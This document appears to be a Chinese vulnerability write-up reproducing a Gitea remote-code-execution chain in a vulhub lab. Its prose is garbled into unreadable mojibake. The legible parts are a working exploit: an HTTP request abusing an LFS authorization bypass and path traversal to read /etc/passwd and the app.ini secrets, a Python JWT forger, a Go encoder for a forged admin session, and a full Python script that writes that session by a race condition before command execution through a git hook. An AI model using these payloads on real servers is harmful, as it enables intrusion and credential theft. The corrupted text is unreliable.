±à¼ÍƼö: |
±¾ÎÄÀ´×ÔÓÚfreebuf£¬
±¾ÎÄÖ÷Òª½éÉÜÁËÕû¸ö©¶´Á´µÄÏêϸÄÚÈÝÒÔ¼°×÷Õß¶ÔÕâ¸ö©¶´Á´µÄÒ»·´Ë¼µÈ¡£ |
|
©¶´Ò»¡¢Âß¼´íÎóµ¼ÖÂȨÏÞÈÆ¹ý
ÕâÊDZ¾Â©¶´Á´µÄµ¼»ðË÷£¬Æä³öÏÖÔÚGit LFSµÄ´¦ÀíÂß¼ÖС£
Git LFSÊÇGitΪ´óÎļþÉèÖõĴ洢ÈÝÆ÷£¬ÎÒÃÇ¿ÉÒÔÀí½âΪ£¬Ëû½«ÕæÕýµÄÎļþ´æ´¢ÔÚgit²Ö¿âÍ⣬¶øgit²Ö¿âÖÐÖ»´æ´¢ÁËÕâ¸öÎļþµÄË÷Òý£¨Ò»¸ö¹þÏ£Öµ£©¡£ÕâÑù£¬git
objectsºÍ.gitÎļþ¼ÐÏÂÆäʵÊÇûÓÐÕâ¸öÎļþµÄ£¬Õâ¸öÎļþ´¢´æÔÚgit·þÎñÆ÷ÉÏ¡£gitea×÷Ϊһ¸ögit·þÎñÆ÷£¬Ò²ÌṩÁËLFS¹¦ÄÜ¡£
ÔÚ modules/lfs/server.go ÎļþÖУ¬PostHandlerÊÇPOSTÇëÇóµÄ´¦Àíº¯Êý£º

¿É¼û£¬ÆäÖм䲿·Ö°üº¬¶ÔȨÏ޵ļì²é£º
if !authenticate(ctx,
repository, rv.Authorization, true) {
requireAuth(ctx)} |
ÔÚûÓÐȨÏÞµÄÇé¿öÏ£¬½öÖ´ÐÐÁËrequireAuthº¯Êý£ºÕâ¸öº¯Êý×öÁËÁ½¼þÊ£¬Ò»ÊÇдÈëWWW-AuthenticateÍ·£¬¶þÊÇÉèÖÃ״̬ÂëΪ401¡£Ò²¾ÍÊÇ˵£¬ÔÚûÓÐȨÏÞµÄÇé¿öÏ£¬²¢Ã»ÓÐÍ£Ö¹Ö´ÐÐPostHandlerº¯Êý¡£
ËùÒÔ£¬ÕâÀï´æÔÚÒ»´¦È¨ÏÞÈÆ¹ý©¶´¡£
©¶´¶þ¡¢Ä¿Â¼´©Ô½Â©¶´
Õâ¸öȨÏÞÈÆ¹ý©¶´µ¼Öµĺó¹ûÊÇ£¬Î´ÊÚȨµÄÈÎÒâÓû§¶¼¿ÉÒÔΪij¸öÏîÄ¿£¨ºóÃæ¶¼ÒÔvulhub/repoΪÀý£©´´½¨Ò»¸öGit
LFS¶ÔÏó¡£
Õâ¸öLFS¶ÔÏó¿ÉÒÔͨ¹ýhttp://example.com/vulhub/repo.git /info/lfs/objects/[oid]ÕâÑùµÄ½Ó¿ÚÀ´·ÃÎÊ£¬±ÈÈçÏÂÔØ¡¢Ð´ÈëÄÚÈݵȡ£ÆäÖÐ[oid]ÊÇLFS¶ÔÏóµÄID£¬Í¨³£À´ËµÊÇÒ»¸ö¹þÏ££¬µ«giteaÖв¢Ã»ÓÐÏÞÖÆÕâ¸öIDÔÊÐí°üº¬µÄ×Ö·û£¬ÕâÒ²Êǵ¼Öµڶþ¸ö©¶´µÄ¸ù±¾ÔÒò¡£
ÎÒÃÇÀûÓõÚÒ»¸ö©¶´£¬ÏÈ·¢ËÍÒ»¸öÊý¾Ý°ü£¬´´½¨Ò»¸öOidΪ¡¡/../../etc/passwdµÄLFS¶ÔÏó£º
POST /vulhub/repo.git/info/lfs/objects
HTTP/1.1Host: your-ip:3000Accept-Encoding: gzip,
deflateAccept: application/vnd.git-lfs+jsonAccept-Language:
enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0;
Windows NT 6.1; Win64; x64; Trident/5.0)Connection:
closeContent-Type: application/jsonContent-Length:
151{ "Oid": "....../../../etc/passwd",
"Size": 1000000, "User"
: "a", "Password" : "a",
"Repo" : "a", "Authorization"
: "a"} |
ÆäÖУ¬vulhub/repoÊÇÒ»¸ö¹«¿ªµÄÏîÄ¿¡£
Ò²¾ÍÊÇ˵£¬Õâ¸ö©¶´µÄÀûÓÃÊÇÓÐÌõ¼þµÄ£¬µÚÒ»¸öÌõ¼þ¾ÍÊÇÐèÒªÓÐÒ»¸ö¹«¿ªÏîÄ¿¡£ÎªÊ²Ã´ÄØ£¿ËäÈ»¡°´´½¨LFS¶ÔÏó¡±½Ó¿ÚÓÐȨÏÞÈÆ¹ý©¶´£¬µ«ÊÇ¡°¶ÁÈ¡Õâ¸ö¶ÔÏóËù´ú±íµÄÎļþ¡±½Ó¿ÚûÓЩ¶´£¬»áÏȼì²éÄãÊÇ·ñÓÐȨÏÞ·ÃÎÊÕâ¸öLFS¶ÔÏóËùÔÚµÄÏîÄ¿¡£Ö»Óй«¿ªÏîÄ¿²ÅÓÐȨÏÞ¶ÁÈ¡¡£
¼ûÏÂͼ£¬·¢ËÍÊý¾Ý°üºó£¬ËäÈ»·µ»ØÁË401״̬Â룬µ«Êµ¼ÊÉÏÕâ¸öLFS¶ÔÏóÒѾ´´½¨³É¹¦£¬ÇÒÆäOidΪ¡¡/../../etc/passwd¡£

µÚ¶þ²½£¬¾ÍÊÇ·ÃÎÊÕâ¸ö¶ÔÏó¡£·ÃÎÊ·½·¨¾ÍÊÇGETÇëÇóhttp://example.com/vulhub/repo.git/ info/lfs/objects/[oid]/sth£¬oid¾ÍÊǸղÅÖ¸¶¨µÄ£¬ÕâÀïÒªÓÃurl±àÂëһϡ£
¼ûÏÂͼ£¬/etc/passwdÒѱ»³É¹¦¶ÁÈ¡£º

ÄÇô£¬ÎÒÃÇÀ´¿´¿´ÎªÊ²Ã´¶ÁÈ¡µ½ÁË/etc/passwdÎļþ¡£
´úÂë modules/lfs/content_store.go £º

¿É¼û£¬meta.Oid±»´«ÈëtransformKeyº¯Êý£¬Õâ¸öº¯ÊýÀ½«Oidת»»³ÉÁËkey[0:2]/key[2:4]/key[4:]ÕâÑùµÄÐÎʽ£¬Ç°Á½¸ö¡¢ÖмäÁ½¸ö×Ö·û×öΪĿ¼Ãû£¬µÚËĸö×Ö·ûÒÔºóµÄÄÚÈÝ×÷ΪÎļþÃû¡£
ÄÇô£¬ÎÒ´´½¨µÄOidΪ¡¡/../../etc/passwd£¬ÔÚ¾¹ýtransformKeyº¯Êýºó¾Í±ä³ÉÁË../../../../../etc/passwd£¬s.BasePathÊÇLFS¶ÔÏóµÄ»ù´¡Ä¿Â¼£¬¶þÕ߯´½Óºó×ÔÈ»¾Í¶ÁÈ¡µ½ÁË/etc/passwdÎļþ¡£
Õâ¾ÍÊǵڶþ¸ö©¶´£ºÄ¿Â¼´©Ô½¡£
©¶´Èý¡¢¶ÁÈ¡ÅäÖÃÎļþ£¬¹¹ÔìJWTÃÜÎÄ
vulhub/repoËäÈ»ÊÇÒ»¸ö¹«¿ªÏîÄ¿£¬µ«Ä¬ÈÏÖ»ÓжÁȨÏÞ¡£ÎÒÃÇÐèÒª½øÒ»²½ÀûÓá£
ÎÒÃÇÀûÓÃĿ¼´©Ô½Â©¶´£¬¿ÉÒÔ¶ÁÈ¡µ½giteaµÄÅäÖÃÎļþ¡£Õâ¸öÎļþÔÚ$GITEA_CUSTOM/conf/app.ini£¬$GITEA_CUSTOMÊÇgiteaµÄ¸ùĿ¼£¬Ä¬ÈÏÊÇ/var/lib/gitea/£¬ÔÚvulhubÀïÊÇ/data/gitea¡£
ËùÒÔ£¬Òª´ÓLFSµÄĿ¼¿çÔ½µ½$GITEA_CUSTOM/conf/app.ini£¬ÐèÒª¹¹Ôì³öµÄOidÊÇ¡.gitea/conf/app.ini£¨¾¹ýת»»ºó¾Í±ä³ÉÁË/data/gitea/lfs/../../gitea/conf/app.ini£¬Ò²¾ÍÊÇ/data/gitea/conf/app.ini¡£Ô©¶´×÷Õ߸ø³öµÄPOCÕâÒ»¿éÊÇÓпӵģ¬Õâ¸öOidÐèÒª¸ù¾Ý²»Í¬$GITEA_CUSTOMµÄÉèÖýøÐе÷Õû¡££©
³É¹¦¶ÁÈ¡µ½ÅäÖÃÎļþ£¨ÈÔÐèÏÈ·¢ËÍPOST°ü´´½¨OidΪ¡.gitea/conf/app.iniµÄLFS¶ÔÏ󣩣º

ÅäÖÃÎļþÖÐÓкܶàÃô¸ÐÐÅÏ¢£¬ÈçÊý¾Ý¿âÕ˺ÅÃÜÂ롢һЩTokenµÈ¡£Èç¹ûÊÇsqliteÊý¾Ý¿â£¬ÎÒÃÇÉõÖÁÄÜÖ±½ÓÏÂÔØÖ®¡£µ±È»£¬ÃÜÂë¼ÓÁËsalt¡£
GiteaÖУ¬LFSµÄ½Ó¿ÚÊÇʹÓÃJWTÈÏÖ¤£¬Æä¼ÓÃÜÃÜÔ¿¾ÍÊÇÅäÖÃÎļþÖеÄLFS_JWT_SECRET¡£ËùÒÔ£¬ÕâÀïÎÒÃǾͿÉÒÔÓÃÀ´¹¹ÔìJWTÈÏÖ¤£¬½ø¶ø»ñÈ¡LFSÍêÕûµÄ¶ÁдȨÏÞ¡£
ÎÒÃÇÓÃpythonÀ´Éú³ÉÃÜÎÄ£º
import jwtimport
timeimport base64def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data) jwt_secret
= decode_base64('oUsPAAkeic6HaBMHPiTVHx TeCrEDc29sL6f0JuVp73c')public_user_id
= 1public_repo_id = 1nbf = int(time.time())-(60*60*24*1000)exp
= int(time.time())+(60*60*24*1000)token = jwt.encode({'user':
public_user_id, 'repo': public_repo_id, 'op':
'upload', 'exp': exp, 'nbf': nbf},jwt_secret,
algorithm='HS256')token = token.decode()print(token) |
ÆäÖУ¬jwt_secretÊǵڶþ¸ö©¶´ÖжÁÈ¡µ½µÄÃÜÔ¿£»public_user_idÊÇÏîÄ¿ËùÓÐÕßµÄid£¬public_repo_idÊÇÏîÄ¿id£¬Õâ¸öÏîĿָLFSËùÔÚµÄÏîÄ¿£»nbfÊÇÖ¸Õâ¸öÃÜÎĵĿªÊ¼Ê±¼ä£¬expÊÇÕâ¸öÃÜÎĵĽáÊøÊ±¼ä£¬Ö»Óе±Ç°Ê±¼ä´¦ÓÚÕâÁ½¸öÖµÖÐʱ£¬Õâ¸öÃÜÎIJÅÓÐЧ¡£

©¶´ËÄ¡¢ÀûÓÃÌõ¼þ¾ºÕù£¬Ð´ÈëÈÎÒâÎļþ
ÏÖÔÚ£¬ÎÒÃÇÄܹ¹ÔìJWTµÄÃÜÎÄ£¬¼´¿É·ÃÎÊLFSÖеÄдÈëÎļþ½Ó¿Ú£¬Ò²¾ÍÊÇPutHandler¡£
PUT²Ù×÷Ö÷ÒªÊÇÈçÏ´úÂ룺

Õû¸ö¹ý³ÌÕûÀíÈçÏ£º
1.transformKey(meta.Oid) + .tmp ºó׺×÷ΪÁÙʱÎļþÃû
2.Èç¹ûĿ¼²»´æÔÚ£¬Ôò´´½¨Ä¿Â¼
3.½«Óû§´«ÈëµÄÄÚÈÝдÈëÁÙʱÎļþ
4.Èç¹ûÎļþ´óСºÍmeta.Size²»Ò»Ö£¬Ôò·µ»Ø´íÎó£¨meta.sizeÊǵÚÒ»²½Öд´½¨LFSʱ´«ÈëµÄSize²ÎÊý£©
5.Èç¹ûÎļþ¹þÏ£ºÍmeta.Oid²»Ò»Ö£¬Ôò·µ»Ø´íÎó
6.½«ÁÙʱÎļþÖØÃüÃûÎªÕæÕýµÄÎļþÃû
ÒòΪÎÒÃÇÐèҪдÈëÈÎÒâÎļþ£¬ËùÒÔOidÒ»¶¨ÊÇÄܹ»´©Ô½µ½ÆäËûĿ¼µÄÒ»¸ö¶ñÒâ×Ö·û´®£¬¶øÒ»¸öÎļþµÄ¹þÏ££¨sha256£©È´Ö»ÊÇÒ»¸öHEX×Ö·û´®¡£ËùÒÔÉÏÃæµÄµÚ5²½£¬Ò»¶¨»áʧ°Üµ¼ÖÂÍ˳ö£¬ËùÒÔ²»¿ÉÄÜÖ´Ðе½µÚ6²½¡£Ò²¾ÍÊÇ˵£¬ÎÒÃÇÖ»ÄÜдÈëÒ»¸öºó׺ÊÇ¡°.tmp¡±µÄÁÙʱÎļþ¡£
ÁíÍ⣬×÷ÕßÓõ½ÁËdefer os.Remove(tmpPath)Õâ¸öÓï·¨¡£ÔÚgoÓïÑÔÖУ¬defer´ú±íº¯Êý·µ»ØÊ±Ö´ÐеIJÙ×÷£¬Ò²¾ÍÊÇ˵£¬²»¹Üº¯ÊýÊÇ·ñ·µ»Ø´íÎ󣬽áÊøÊ±¶¼»áɾ³ýÁÙʱÎļþ¡£
ËùÒÔ£¬ÎÒÃÇÐèÒª½â¾öµÄÊÇÁ½¸öÎÊÌ⣺
1.Äܹ»Ð´ÈëÒ»¸ö.tmpΪºó׺µÄÎļþ£¬ÔõôÀûÓã¿
2.ÈçºÎÈÃÕâ¸öÎļþÔÚÀûÓóɹ¦Ö®Ç°²»±»É¾³ý£¿
ÎÒÃÇÏÈ˼¿¼µÚ¶þ¸öÎÊÌ⡣©¶´·¢ÏÖÕ߸ø³öµÄ·½·¨ÊÇ£¬ÀûÓÃÌõ¼þ¾ºÕù¡£
ÒòΪgiteaÖÐÊÇÓÃÁ÷ʽ·½·¨À´¶ÁÈ¡Êý¾Ý°ü£¬²¢½«¶ÁÈ¡µ½µÄÄÚÈÝдÈëÁÙʱÎļþ£¬ÄÇôÎÒÃÇ¿ÉÒÔÓÃÁ÷ʽHTTP·½·¨£¬´«ÈëÎÒÃÇÐèҪдÈëµÄÎļþÄÚÈÝ£¬È»ºó¹ÒÆðHTTPÁ¬½Ó¡£Õâʱºò£¬ºó¶Ë»áÒ»Ö±µÈ´ýÎÒ´«Ê£ÏµÄ×Ö·û£¬ÔÚÕâ¸öʱ¼ä²îÄÚ£¬Putº¯ÊýÊǵȴýÔÚio.CopyÄǸö²½ÖèµÄ£¬µ±È»Ò²¾Í²»»áɾ³ýÁÙʱÎļþÁË¡£
ÄÇô£¬Ë¼¿¼µÚÒ»¸öÎÊÌ⣬.tmpΪºó׺µÄÁÙʱÎļþ£¬ÎÒÃÇÄÜ×öʲô£¿
©¶´Î塢αÔìsessionÌáÉýȨÏÞ
×î¼òµ¥µÄ£¬ÎÒÃÇ¿ÉÒÔÏò/etc/cron.d/ÖÐдÈëÒ»¸öcrontabÅäÖÃÎļþ£¬È»ºó·´µ¯»ñÈ¡shell¡£µ«Í¨³£gitea²»»áÔËÐÐÔÚrootȨÏÞ£¬ËùÒÔÎÒÃÇÐèҪ˼¿¼ÆäËû·½·¨¡£
giteaʹÓÃgo-macaron/sessionÕâ¸öµÚÈý·½Ä£¿éÀ´¹ÜÀísession£¬Ä¬ÈÏʹÓÃÎļþ×÷Ϊsession´æ´¢ÈÝÆ÷¡£ÎÒÃÇÀ´ÔĶÁgo-macaron/sessionÔ´Â룺

ÕâÀïÃæÓм¸¸öºÜÖØÒªµÄµã£º
1.sessionÎļþÃûΪsid[0]/sid[1]/sid
2.¶ÔÏó±»ÓÃGobÐòÁл¯ºó´æÈëÎļþ
GobÊÇGoÓïÑÔ¶ÀÓеÄÐòÁл¯·½·¨¡£ÎÒÃÇ¿ÉÒÔ±àдһ¶ÎGoÓïÑÔ³ÌÐò£¬À´Éú³ÉÒ»¶ÎGob±àÂëµÄsession£º
package mainimport
( "fmt" "encoding/gob"
"bytes" "encoding/hex")func
EncodeGob(obj map[interface{}]interface{}) ([]byte,
error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err}func main() {
var uid int64 = 1
obj := map[interface{}]interface{} {"_old_uid":
"1", "uid": uid, "uname":
"vulhub" }
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)} |
ÆäÖУ¬{¡°_old_iod¡±: ¡°1¡å, ¡°uid¡±: uid, ¡°uname¡±: ¡°vulhub¡±
}¾ÍÊÇsessionÖеÄÊý¾Ý£¬uidÊǹÜÀíÔ±id£¬unameÊǹÜÀíÔ±Óû§Ãû¡£±àÒë²¢Ö´ÐÐÉÏÊö´úÂ룬µÃµ½Ò»´®hex£¬¾ÍÊÇαÔìµÄÊý¾Ý¡£
Ô×÷Õ߸ø³öµÄPOCÊÇËûÉú³ÉºÃµÄÒ»¶Î¶þ½øÖÆÎļþ£¬uidºÍuname²»ÄÜ×Ô¶¨Òå¡£

½Ó×Å£¬ÎÒдÁËÒ»¸ö¼òµ¥µÄPython½Å±¾À´½øÐкóÐøÀûÓã¨ÐèÒªPython3.6£©£º
import requestsimport
jwtimport timeimport base64import loggingimport
sysimport jsonfrom urllib.parse import quotelogging.basicConfig(stream=sys.stdout,
level=logging.DEBUG)BASE_URL = 'http://your-ip: 3000/vulhub/repo'JWT_SECRET
= 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'USER_ID
= 1REPO_ID = 1SESSION_ID = '11vulhub'SESSION_DATA
= bytes.fromhex('0eff81040102ff82000110011000005 cff82000306737472696e670c0a00085f6f6c645f7569 6406737472696e670c0300013106737472696e670c05000 375696405696e7436340402000206737472696e 670c070005756e616d6506737472696e670c0800 0676756c687562')def
generate_token():
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': USER_ID, 'repo': REPO_ID,
'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET),
algorithm='HS256')
return token.decode()def gen_data():
yield SESSION_DATA
time.sleep(300)
yield b''OID = f'....gitea/sessions/ {SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'response
= requests.post(f'{BASE_URL}.git/info/lfs/objects',
headers={
'Accept': 'application/vnd.git-lfs+json'}, json={
"Oid": OID, "Size": 100000,
"User" : "a", "Password"
: "a", "Repo" : "a",
"Authorization" : "a"})logging.info(response.text) response
= requests.put(f"{BASE_URL}.git/info /lfs/objects/{quote(OID,
safe='')}", data=gen_data(), headers={
'Accept': 'application/vnd.git-lfs',
'Content-Type': 'application/vnd.git-lfs',
'Authorization': f'Bearer {generate_token()}'
}) |
Õâ¸ö½Å±¾»á½«Î±ÔìµÄSESSIONÊý¾Ý·¢ËÍ£¬²¢µÈ´ý300Ãëºó²Å¹Ø±ÕÁ¬½Ó¡£ÔÚÕâ300ÃëÖУ¬·þÎñÆ÷ÉϽ«´æÔÚÒ»¸öÃûΪ¡°11vulhub.tmp¡±µÄÎļþ£¬ÕâÒ²ÊÇsession
id¡£
´øÉÏÕâ¸ösession id£¬¼´¿ÉÌáÉýΪ¹ÜÀíÔ±¡£

©¶´Áù¡¢ÀûÓÃHOOKÖ´ÐÐÈÎÒâÃüÁî
´øÉÏi_like_gitea=11vulhub.tmpÕâ¸öCookie£¬ÎÒÃǼ´¿É·ÃÎʹÜÀíÔ±ÕË»§¡£
È»ºóËæ±ãÕÒ¸öÏîÄ¿£¬ÔÚÉèÖÃÖÐÅäÖÃGit¹³×Ó¡£Git¹³×ÓÊÇÖ´ÐÐgitÃüÁîµÄʱºò£¬»á±»×Ô¶¯Ö´ÐеÄÒ»¶Î½Å±¾¡£±ÈÈçÎÒÕâÀïÓõÄpre-receive¹³×Ó£¬¾ÍÊÇÔÚcommit֮ǰ»áÖ´ÐеĽű¾¡£ÎÒÔÚÆäÖмÓÈë´ýÖ´ÐеÄÃüÁîtouch
/tmp/success£º

È»ºóÔÚÍøÒ³¶Ëн¨Ò»¸öÎļþ£¬µãÌá½»¡£½øÈëdockerÈÝÆ÷£¬¿É¼ûÃüÁî±»³É¹¦Ö´ÐУº

һЩ˼¿¼
Õû¸ö©¶´Á´·Ç³£Á÷³©£¬Go Web¶ËµÄ´úÂëÉó¼ÆÒ²·Ç³£ÉÙ¼û£¬ÔÚ´«Í³Â©¶´Ô½À´Ô½ÉÙµÄÇé¿öÏ£¬ÕâЩºÃ˼·½«¸ø°²È«Ñо¿Õß´øÀ´ºÜ¶à²»Ò»ÑùµÄÍ»ÆÆ¡£
²»¹ý©¶´×÷Õ߸ø³öµÄPOCʵÔÚÊDZȽÏÀ㬻ù±¾À뿪ÁËËû×Ô¼ºµÄ»·¾³¾Í²»ÄÜÓÃÁË£¬¶øÇÒÎÒÒ²²»½¨ÒéÓÃÒ»¼ü»¯µÄ©¶´ÀûÓýű¾À´¸´ÏÖÕâ¸ö©¶´£¬ÔÒòÊÇÕâ¸ö©¶´µÄÀûÓÃÉæ¼°µ½Ò»Ð©²»È·¶¨Á¿£¬±ÈÈ磺
1.giteaµÄ$GITEA_CUSTOM£¬Õâ¸öÖµÓ°Ïìµ½¶ÁÈ¡app.iniµÄÄǶÎPOC
2.¹ÜÀíÔ±µÄÓû§ÃûºÍID£¬Õâ¸ö¿ÉÄÜÐèÒª²Â¡£µ«ÆäʵÎÒÃÇҲû±ØÒª±ØÐëαÔì¹ÜÀíÔ±µÄsession£¬ÎÒÃÇ¿ÉÒÔαÔìÈÎÒâÒ»¸öÓû§µÄsession£¬È»ºó½øÈëÍøÕ¾ºóÔÙÕÒÕÒ¿´¿´ÓÐûÓйÜÀíÔ±Ëù´´½¨µÄÏîÄ¿£¬Èç¹ûÓеϰ£¬¾Í¿ÉÒÔµÃÖª¹ÜÀíÔ±µÄÓû§ÃûÁË¡£
ÁíÍ⣬¸´ÏÖ©¶´µÄʱºòÒ²Óöµ½¹ýһЩ¿Ó£¬±ÈÈçgiteaµÚÒ»´Î°²×°ºÃ£¬Èç¹û²»ÖØÆôµÄ»°£¬ËûµÄsessionÊÇ´æ´¢ÔÚÄÚ´æÀïµÄ¡£Ö»ÓеÚÒ»´ÎÖØÆôºó£¬²Å»áʹÓÃÎļþsession£¬ÕâÒ»µãÐèҪעÒâ¡£
Èç¹ûÄ¿±êϵͳʹÓõÄÊÇsqlite×öÊý¾Ý¿â£¬ÎÒÃÇ¿ÉÒÔÖ±½ÓÏÂÔØÆäÊý¾Ý¿â£¬²¢Äõ½ËûµÄÃÜÂë¹þÏ£ºÍÁíÒ»¸öËæ»ú×Ö·û´®£¬ÀûÓÃÕâÁ½¸öÖµÆäʵÄÜÖ±½ÓαÔì¹ÜÀíÔ±µÄcookie£¨ÃûΪgitea_incredible£©£¬ÕâÒ»µãÎҾͲ»Ð´ÁË£¬´ó¼Ò¿ÉÒÔ×Ô¼º²é¿´Îĵµ¡£ |